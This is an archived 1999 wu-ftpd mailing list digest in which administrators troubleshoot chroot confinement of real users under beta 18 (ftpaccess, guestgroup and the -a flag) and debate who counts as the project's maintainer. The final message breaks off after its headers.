for <[email protected]>; Wed, 24 Mar 1999 16:35:34 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id RAA23501;
Wed, 24 Mar 1999 17:35:30 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 17:35:30 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Duncan Hill <[email protected]>
Cc: wu-ftpd mailing list <[email protected]>
Subject: Re: Chroot not working for real user
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Duncan Hill wrote:

> I have beta 18 of wu up and running, but have noticed that chrooting
> of a regular user doesn't seem to work. The passwd entry has a /./ at
> the end of their path, yet when they type pwd, they can see the entire
> tree above them, and run around on the server. So far, since its only
> faculty, none of them have tried that (and the permissions allow read
> only), but I still need to be able to lock them into their dir and
> below.
>
> Box is AIX 4.3 (and my linux box appears to exhibit this as well).
> Would appreciate any help, preferrably off the list.

This is usually because

- not using ftpaccess at all, check that -a is on the command line
check that ftpaccess is REALLY being used by changing something in it
and seeing if the next connection sees that effect.

- no 'guestgroup' in ftpaccess

- the user in question is not EXPLICITLY listed as a member of the
guestgroup in /etc/group

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 17:32:36 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA23171;
Wed, 24 Mar 1999 17:32:36 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA11081;
Wed, 24 Mar 1999 17:27:44 -0600 (CST)
Received: from icarus.yml.com ([email protected] [207.226.52.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA06597
for <[email protected]>; Wed, 24 Mar 1999 17:23:11 -0600 (CST)
Received: from localhost (buffalo@localhost)
by icarus.yml.com (8.8.7/8.8.7) with ESMTP id SAA24238;
Wed, 24 Mar 1999 18:23:19 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 18:23:19 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: Duncan Hill <[email protected]>
Cc: wu-ftpd mailing list <[email protected]>
Subject: Re: Chroot not working for real user
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Duncan Hill wrote:

> I have beta 18 of wu up and running, but have noticed that chrooting
> of a regular user doesn't seem to work. The passwd entry has a /./ at
> the end of their path, yet when they type pwd, they can see the entire
> tree above them, and run around on the server. So far, since its only
> faculty, none of them have tried that (and the permissions allow read
> only), but I still need to be able to lock them into their dir and
> below.

Interesting. The symptoms you describe mirror the experience I had when
I replaced Beta 13 with Beta 18 on a Solaris 2.5.1 box:

* The server was invoked with the appropriate flag (-a)

* All the real user entries in /etc/passwd had the appropriate '/./'
entries

* The real users were explicitly listed as members of the guestgroup

* The guestgroup was specifically named in /etc/ftpaccess

* All of the appropriate system directories necessary for chrooting under
Solaris were in place.

* All of the accounts were being chrooted to their designated directories.

However, once either version of the Beta 18 server was installed (with no
other changes) users could suddenly roam freely around the system.

As soon as I dumped the version 18 servers, and replaced them with the
orginal version 13 server, it all worked properly again...

--Duncan

From [email protected] Wed Mar 24 17:38:45 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA23262;
Wed, 24 Mar 1999 17:38:44 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA11999;
Wed, 24 Mar 1999 17:33:53 -0600 (CST)
Received: from mesg.pallisersd.ab.ca (pallisersd.ab.ca [199.216.197.2] (may be forged))
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA27219
for <[email protected]>; Wed, 24 Mar 1999 17:28:27 -0600 (CST)
Received: from pallisersd.ab.ca ([199.216.196.1]) by mesg.pallisersd.ab.ca
(Netscape Messaging Server 3.01) with ESMTP id AAA22546
for <[email protected]>; Wed, 24 Mar 1999 16:15:44 -0700
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 16:29:19 -0700
Reply-To: [email protected]
Sender: [email protected]
From: "Maurice Hollingsworth" <[email protected]>
To: wu-ftpd mailing list <[email protected]>
Subject: Re: Chroot not working for real user
References: <[email protected]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------91DAEA68841BC48C9BED6CF1"
X-Mailer: Mozilla 4.03 [en] (Win95; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a multi-part message in MIME format.
--------------91DAEA68841BC48C9BED6CF1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I too am running beta 18 of wu and am having problems with chrooting
(Version wu-2.4.2-academ[BETA-18](1)). I have triple checked all three of
the recommendations below, but all are fine.

If I use the following in /etc/inetd.conf I can login but get no chrooting
(not a surprise according to the documentation):
ftp stream tcp nowait root /usr/local/etc/in.ftpd in.ftpd

However, if I use '-a' flag as in the following, I get a "530 user
myusername access denied" message and am unable to login using the same
username.
ftp stream tcp nowait root /usr/local/etc/in.ftpd in.ftpd -a

We are running Sparc Solaris 2.5.1. Any assistance is appreciated.

Maurice Hollingsworth

Gregory A Lundberg wrote:

> On Wed, 24 Mar 1999, Duncan Hill wrote:
>
> > I have beta 18 of wu up and running, but have noticed that chrooting
> > of a regular user doesn't seem to work. The passwd entry has a /./ at
> > the end of their path, yet when they type pwd, they can see the entire
> > tree above them, and run around on the server. So far, since its only
> > faculty, none of them have tried that (and the permissions allow read
> > only), but I still need to be able to lock them into their dir and
> > below.
> >
> > Box is AIX 4.3 (and my linux box appears to exhibit this as well).
> > Would appreciate any help, preferrably off the list.
>
> This is usually because
>
> - not using ftpaccess at all, check that -a is on the command line
> check that ftpaccess is REALLY being used by changing something in it
> and seeing if the next connection sees that effect.
>
> - no 'guestgroup' in ftpaccess
>
> - the user in question is not EXPLICITLY listed as a member of the
> guestgroup in /etc/group
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195

--------------91DAEA68841BC48C9BED6CF1
Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Maurice Hollingsworth, Ph.D.
Content-Disposition: attachment; filename="vcard.vcf"

begin: vcard
fn: Maurice Hollingsworth, Ph.D.
n: Hollingsworth, Ph.D.;Maurice
org: Palliser Regional Schools
email;internet: [email protected]
title: Director of Information Technology
x-mozilla-cpt: ;0
x-mozilla-html: FALSE
version: 2.1
end: vcard

--------------91DAEA68841BC48C9BED6CF1--

From [email protected] Wed Mar 24 21:50:58 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA26635;
Wed, 24 Mar 1999 21:50:57 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA29813;
Wed, 24 Mar 1999 21:45:48 -0600 (CST)
Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA09380
for <[email protected]>; Wed, 24 Mar 1999 21:40:36 -0600 (CST)
Received: (qmail 25579 invoked by uid 50); 25 Mar 1999 03:40:28 -0000
Message-Id: <[email protected]>
Date: 24 Mar 1999 19:40:28 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Russ Allbery <[email protected]>
To: [email protected]
Subject: Re: wu-ftpd lastest version
In-Reply-To: Gregory A Lundberg's message of "Wed, 24 Mar 1999 07:15:44 -0500 (EST)"
References: <[email protected]>
X-Mailer: Gnus v5.4.66/Emacs 19.34
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gregory A Lundberg <[email protected]> writes:
> On 23 Mar 1999, Russ Allbery wrote:

>> Have you asked Stan if he'd be willing to just have you take over as
>> the official maintainer?

> My position is that neither Stan, Bernard nor I have *ANY* say in the
> matter. The ones who determine who is the 'maintainer' are _you_; you
> vote with your (virtual) feet.

While I think that's a great stance to take, the point I was driving at is
a bit different. There's this software package called "wu-ftpd" which has
now had what appears to be a "final" release. There's a separate patch
set to it that you maintain, but the patched ftp daemon is still called
"wu-ftpd"; it just has VR patches.

Given that the previous maintainers of wu-ftpd don't appear to be
interested in continuing to maintain it, and given that you're maintaining
what is essentially the wu-ftpd source base, wouldn't it be a good idea to
just get wustl and Academ to decide that you're the maintainer and then
release your current patch set as wu-ftpd 2.5? It would make for shorter
version numbers, and it would reduce general confusion and the amount of
understanding that's required to figure out what the "current" version of
wu-ftpd is.

We had, at one point, version numbers for wu-ftpd that involved *three*
layers of beta patches, patches from a different institution, and then
patches from a third institution on top of those. While with the final
release this has gotten a lot simpler, it strikes me as a fairly difficult
version numbering system to navigate, and given that the VR patches appear
to be the current active development of the wu-ftpd source base (as
opposed to the various other forked development paths), it would eliminate
a lot of bother to just call your source base wu-ftpd.

> The location is easy: BeroFTPD 1.3.4

Ah, okay. Thanks. I didn't realize they'd been integrated into that
version.

--
Russ Allbery ([email protected]) <URL:http://www.eyrie.org/~eagle/>

From [email protected] Wed Mar 24 21:58:16 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA26801;
Wed, 24 Mar 1999 21:58:15 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA14408;
Wed, 24 Mar 1999 21:53:21 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA09997
for <[email protected]>; Wed, 24 Mar 1999 21:49:12 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id WAA25545;
Wed, 24 Mar 1999 22:48:54 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 22:48:54 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: Duncan Hill <[email protected]>,
wu-ftpd mailing list <[email protected]>
Subject: Re: Chroot not working for real user
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999 [email protected] wrote:

> On Wed, 24 Mar 1999, Duncan Hill wrote:
>
> > I have beta 18 of wu up and running, but have noticed that chrooting
> > of a regular user doesn't seem to work. The passwd entry has a /./ at
> > the end of their path, yet when they type pwd, they can see the entire
> > tree above them, and run around on the server. So far, since its only
> > faculty, none of them have tried that (and the permissions allow read
> > only), but I still need to be able to lock them into their dir and
> > below.
>
> Interesting. The symptoms you describe mirror the experience I had when
> I replaced Beta 13 with Beta 18 on a Solaris 2.5.1 box:
>
> * The server was invoked with the appropriate flag (-a)
>
> * All the real user entries in /etc/passwd had the appropriate '/./'
> entries
>
> * The real users were explicitly listed as members of the guestgroup
>
> * The guestgroup was specifically named in /etc/ftpaccess
>
> * All of the appropriate system directories necessary for chrooting under
> Solaris were in place.
>
> * All of the accounts were being chrooted to their designated directories.
>
> However, once either version of the Beta 18 server was installed (with no
> other changes) users could suddenly roam freely around the system.
>
> As soon as I dumped the version 18 servers, and replaced them with the
> orginal version 13 server, it all worked properly again...

All I can say to this is, "How odd." I'm sure if there were a problem,
the man who built my Solaris binaries would be beating me regularly until
I fixed it.

I guess I should also point out that if you're still running 2.4.2-beta-13
you've got worse problems than letting users roam at will through your
filesystem would cause. I'd suggest trying the prebuild 2.5.1 pkgs for
VR16 from my FTP site and if they don't work, I or one of the people
helping me will jump on the problem.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 22:00:25 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA26873;
Wed, 24 Mar 1999 22:00:24 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA17716;
Wed, 24 Mar 1999 21:55:21 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA11116
for <[email protected]>; Wed, 24 Mar 1999 21:51:26 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id WAA25561;
Wed, 24 Mar 1999 22:51:20 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 22:51:20 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Maurice Hollingsworth <[email protected]>
Cc: wu-ftpd mailing list <[email protected]>
Subject: Re: Chroot not working for real user
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Maurice Hollingsworth wrote:

> I too am running beta 18 of wu and am having problems with chrooting
> (Version wu-2.4.2-academ[BETA-18](1)). I have triple checked all three
> of the recommendations below, but all are fine.
>
> If I use the following in /etc/inetd.conf I can login but get no
> chrooting (not a surprise according to the documentation):
> ftp stream tcp nowait root /usr/local/etc/in.ftpd in.ftpd
>
> However, if I use '-a' flag as in the following, I get a "530 user
> myusername access denied" message and am unable to login using the
> same username.
> ftp stream tcp nowait root /usr/local/etc/in.ftpd in.ftpd -a
>
> We are running Sparc Solaris 2.5.1. Any assistance is appreciated.

Is there, perhaps, a command you need to run? (Gotta love these secret
handshakes, folks.) On some systems, you have to give the daemon
permission to do things like diddle about with the passwd and group files.
Maybe yours is on of them?

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 22:35:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA27539;
Wed, 24 Mar 1999 22:35:45 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA00971;
Wed, 24 Mar 1999 22:30:47 -0600 (CST)
Received: from Sun-E3000.ChampUSA.COM ([email protected] [207.21.123.4])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA01561
for <[email protected]>; Wed, 24 Mar 1999 22:27:27 -0600 (CST)
Received: from ChampUSA.COM (cwbunny.WahLeeWHIRL.COM [204.118.92.3])
by Sun-E3000.ChampUSA.COM (8.9.2/8.9.2) with ESMTP id UAA17191;
Wed, 24 Mar 1999 20:27:21 -0800 (PST)
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 20:27:20 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Auteria Wally Winzer Jr." <[email protected]>
To: [email protected]
Subject: Re: Chroot not working for real user
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.51 [en] (Win95; U)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Greg and fellow members of wu-ftpd mailing list;

Wally here. For those who didn't know, I'm the one Greg
refers to "My Solaris Builder". I've read all the various threads
regarding problems with Solaris-2.5.1 - 2.6. This is quite interesting,
to say the least. I can't believe that other individuals are having
problems with chrooted directories, whether or not it is an anonymous
setup or regular user id's home directories. Before I submit pkgs for
Greg I check out all aspects of any VR version (anonymous,
chrooted, and regular user setup, from text or browser). If there's
any issues I'd beat Grep up big time until we solve the problem(s).
One thing I feel is happening is users (admins) aren't setting up
wu-ftpd properly. Either a lib is missing, or permission problems,
chrooted configurations, compiling errors, and the like. The
problem I see most often is not following the INSTALL instructions.
This is what I go through to make sure everything is in place
on a Solaris system:

1. Make absolutely sure you've installed all header, and libraries.
Check to make sure that permissions are in place and that you
apply all applicable patches (kernel, network, libraries and headers).
2. Double-check all FAQ's and information pertaining to your system
architecture. Greg does a wonderful job updating issues with most
OS'es. A lot of time users on the list ask questions that has been
covered over and over again. First point of reference: THE FAQ.
3. I normally install all GNU-BASED utilities, which is way better than
the standard OS binaries (with the exception of Linux). One day
Greg may decide to use GNU's autoconf tool. This may make things
easier for users, since it'll automatically determine the system
architecture
and look for various library/system calls, header and library files, etc.
configure will determine everything necessary to build a proper binary
for that OS architecture.
4. ftpaccess has changed dramatically between versions. Reading the
CHANGES file from within the source tree is a great place to
determine whether or not the new changes are applicable to your OS.

It is definitely recommended to upgrade to the latest version of wu-ftpd.
People who run earlier versions stands a great chance of servers being
exposed to hackers who have nothing better else to do than to totally
destroy systems. You're extremely lucky if you haven't been broken into,
but don't push your luck.

OF COURSE, THIS IS MY OPINION. I DON'T EXPECT EVERYONE
TO AGREE, WHICH IS WHY A MAILING LIST IS A GREAT WAY
OF BOUNCING OFF IDEAS DEALING WITH ISSUES THAT IN
OTHER FORUMS WOULD NOT BE APPLICABLE.

Your mileage will vary.

Anyway, Greg, I'll build and test VR17 tonight.

Sincerely,
Auteria "Wally" Winzer Jr.
Sr. Systems/Network Administrator
WahLeeWHIRL Corporation

Gregory A Lundberg wrote:

> On Wed, 24 Mar 1999 [email protected] wrote:
>
> > On Wed, 24 Mar 1999, Duncan Hill wrote:
> >
> > > I have beta 18 of wu up and running, but have noticed that chrooting
> > > of a regular user doesn't seem to work. The passwd entry has a /./ at
> > > the end of their path, yet when they type pwd, they can see the entire
> > > tree above them, and run around on the server. So far, since its only
> > > faculty, none of them have tried that (and the permissions allow read
> > > only), but I still need to be able to lock them into their dir and
> > > below.
> >
> > Interesting. The symptoms you describe mirror the experience I had when
> > I replaced Beta 13 with Beta 18 on a Solaris 2.5.1 box:
> >
> > * The server was invoked with the appropriate flag (-a)
> >
> > * All the real user entries in /etc/passwd had the appropriate '/./'
> > entries
> >
> > * The real users were explicitly listed as members of the guestgroup
> >
> > * The guestgroup was specifically named in /etc/ftpaccess
> >
> > * All of the appropriate system directories necessary for chrooting under
> > Solaris were in place.
> >
> > * All of the accounts were being chrooted to their designated directories.
> >
> > However, once either version of the Beta 18 server was installed (with no
> > other changes) users could suddenly roam freely around the system.
> >
> > As soon as I dumped the version 18 servers, and replaced them with the
> > orginal version 13 server, it all worked properly again...
>
> All I can say to this is, "How odd." I'm sure if there were a problem,
> the man who built my Solaris binaries would be beating me regularly until
> I fixed it.
>
> I guess I should also point out that if you're still running 2.4.2-beta-13
> you've got worse problems than letting users roam at will through your
> filesystem would cause. I'd suggest trying the prebuild 2.5.1 pkgs for
> VR16 from my FTP site and if they don't work, I or one of the people
> helping me will jump on the problem.
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 22:36:37 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA27553;
Wed, 24 Mar 1999 22:36:36 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA07407;
Wed, 24 Mar 1999 22:31:46 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA30478
for <[email protected]>; Wed, 24 Mar 1999 22:30:04 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id XAA25776;
Wed, 24 Mar 1999 23:29:58 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 23:29:57 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Russ Allbery <[email protected]>
Cc: [email protected]
Subject: Re: wu-ftpd lastest version
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On 24 Mar 1999, Russ Allbery wrote:

> >> Have you asked Stan if he'd be willing to just have you take over as
> >> the official maintainer?
>
> > My position is that neither Stan, Bernard nor I have *ANY* say in the
> > matter. The ones who determine who is the 'maintainer' are _you_; you
> > vote with your (virtual) feet.
>
> While I think that's a great stance to take, the point I was driving at is
> a bit different. There's this software package called "wu-ftpd" which has
> now had what appears to be a "final" release. There's a separate patch
> set to it that you maintain, but the patched ftp daemon is still called
> "wu-ftpd"; it just has VR patches.
>
> Given that the previous maintainers of wu-ftpd don't appear to be
> interested in continuing to maintain it, and given that you're maintaining
> what is essentially the wu-ftpd source base, wouldn't it be a good idea to
> just get wustl and Academ to decide that you're the maintainer and then
> release your current patch set as wu-ftpd 2.5? It would make for shorter
> version numbers, and it would reduce general confusion and the amount of
> understanding that's required to figure out what the "current" version of
> wu-ftpd is.
>
> We had, at one point, version numbers for wu-ftpd that involved *three*
> layers of beta patches, patches from a different institution, and then
> patches from a third institution on top of those. While with the final
> release this has gotten a lot simpler, it strikes me as a fairly difficult
> version numbering system to navigate, and given that the VR patches appear
> to be the current active development of the wu-ftpd source base (as
> opposed to the various other forked development paths), it would eliminate
> a lot of bother to just call your source base wu-ftpd.

Are you asking my opinion, or suggesting a course of action?

I've run my project on suggestions from users. Mainly from open postings
on this mailing list. Very occassionally from private conversations.
(Yes, there's a mailing list for VR-only purposes, but it's main use is so
I can tell the testers when it's time to test and the builders when it's
time to build. What changes are discussed there are usually from builders
suggesting changes so the daemon will compile cleanly on their targets.)

I have had private suggestions along the lines of what you're suggesting.
I have also been doing quite a bit of work beyond simply working on the
code. The results of that work await only one thing: the desire of the
user community for a change. While some are aware of what else I've been
working on, I expect most will be pleasently surprised.

Until it is clear to me a desire for a change of maintainers exists, I
plan to continue to work as I have been and offer support to as many
versions of the daemon as I can. Quite frankly, the VR updates are simply
my score-card of where things have needed expansion or correction.

My opinion is that no maintainer is such because he claims it. The
maintainer is who the users say he is. If the general consensus (or, at
least, concensus by lack of objection) is that someone else is the
maintainer; then that person is the maintainer.

The original author was 'maintainer' because he wrote the software. A few
months after he'd left Stan volunteered to gather together the Hobbit and
other patches and put together a release. Hearing no objections, he
became the de-facto 'maintainer'. Some time later, wu-stl 'made it
official' by updating the README file on their original 2.4 tarball at
their site.

Now, it seems, Stan's all but gone. Fine. We've been here before. The
last time Stan was seemingly gone someone (namely Bernard and Andy)
stepped forward to volunteer to be 'maintainers'. That raised several
loud objections from the user community, and caused Stan to put in one of
his rare appearances to defend his position. While I disagreed with their
approach, I agreed totally with their goals; Stan's lack of interest in
the package is manifest. Last year, the appearent consensus was that Stan
should remain maintainer. In both public and private conversations,
Bernard (Andy gave up in disgust and disappeared) was prevailed upon to
change the name/version of his daemon from wu-ftpd-2.6.<something> to
BeroFTPD; effectively splitting off to become a completely new daemon.

If the consensus is that the VR updates are causing confusion, as much as
I dislike it (just as Bernard did), I will change the name to something
else as well.

In closing: it's your ftp site, your daemon. The problem is in your lap.
If you decide I'm the maintainer, then I'm the maintainer and nothing Stan
or wu-stl say will change that.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 22:54:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA27817;
Wed, 24 Mar 1999 22:54:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA05965;
Wed, 24 Mar 1999 22:50:06 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA03900
for <[email protected]>; Wed, 24 Mar 1999 22:49:09 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id XAA25919;
Wed, 24 Mar 1999 23:49:06 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 23:49:05 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Auteria Wally Winzer Jr." <[email protected]>
Cc: WU-FTPD Discussion List <[email protected]>
Subject: Re: Chroot not working for real user
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Auteria Wally Winzer Jr. wrote:

> Wally here. For those who didn't know, I'm the one Greg refers to "My
> Solaris Builder".

Well .. from now on, I can say "Wally" .. cool.

> It is definitely recommended to upgrade to the latest version of wu-ftpd.

If you're running 2.4.2 (final) from Academ, check your
src/config/config.<ostype> If it doesn't #define realpath to realpath on
steroids, assume you're still vulnerable to the latest exploit.

> People who run earlier versions stands a great chance of servers being
> exposed to hackers who have nothing better else to do than to totally
> destroy systems.

#define GreatChance 100%

> You're extremely lucky if you haven't been broken into, but don't push
> your luck.

Statistically speaking, if you say, "I haven't had a breakin in over a
year." What you mean is you didn't NOTICE the breakin. Maybe it wasn't
via FTP, but who knows?

Remember: you're not paranoid if they really ARE out to get you!

> Anyway, Greg, I'll build and test VR17 tonight.

Thanks.

Anyone know where I left my Kevlar body armour? (There's a major change
in the 'make install' makefiles just waiting to bite me this month.)

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 23:01:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id XAA27913;
Wed, 24 Mar 1999 23:01:15 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA26426;
Wed, 24 Mar 1999 22:56:26 -0600 (CST)
Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA00013
for <[email protected]>; Wed, 24 Mar 1999 22:52:04 -0600 (CST)
Received: (qmail 25746 invoked by uid 50); 25 Mar 1999 04:51:57 -0000
Message-Id: <[email protected]>
Date: 24 Mar 1999 20:51:57 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Russ Allbery <[email protected]>
To: [email protected]
Subject: Re: wu-ftpd lastest version
In-Reply-To: Gregory A Lundberg's message of "Wed, 24 Mar 1999 23:29:57 -0500 (EST)"
References: <[email protected]>
X-Mailer: Gnus v5.4.66/Emacs 19.34
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gregory A Lundberg <[email protected]> writes:

> Are you asking my opinion, or suggesting a course of action?

Good question. Reading over your current stance on this and the way
you're handling it, I'm content. I think you're dealing with it quite
well, and agree with your approach.

So I suppose what I'm doing is registering my opinion that you're the
current maintainer as far as I'm concerned. I'm content to wait and see
how that develops and let you judge the consensus, as you're in a much
better place to do so than I am.

> If the consensus is that the VR updates are causing confusion, as much
> as I dislike it (just as Bernard did), I will change the name to
> something else as well.

No, I wasn't meaning to imply that. If anything, the presence of a static
and unchanging 2.4.2 base version is causing confusion. Please don't feel
like you need to rename your maintenance of the wu-ftpd source base to
something else.

--
Russ Allbery ([email protected]) <URL:http://www.eyrie.org/~eagle/>

From [email protected] Thu Mar 25 07:08:00 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA03213;
Thu, 25 Mar 1999 07:07:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA14144;
Thu, 25 Mar 1999 07:01:34 -0600 (CST)
Received: from alms1.fw.att.com (alms1.att.com [192.128.167.146])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA26907
for <[email protected]>; Thu, 25 Mar 1999 06:54:06 -0600 (CST)
Received: from merlin.lz.att.com ([135.25.200.5])
by alms1.fw.att.com (AT&T/IPNS/GW-1.0) with SMTP id HAA00477
for <[email protected]>; Thu, 25 Mar 1999 07:53:35 -0500 (EST)
Received: by merlin.lz.att.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62)
id <[email protected]>; Thu, 25 Mar 1999 07:57:16 -0500
Message-Id: <c=US%a=_%p=att%[email protected]>
Date: Thu, 25 Mar 1999 07:57:15 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Roger Hanke <[email protected]>
To: "'[email protected]'" <[email protected]>,
"'[email protected]'"
<[email protected]>
Subject: RE: wu-ftpd lastest version
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62
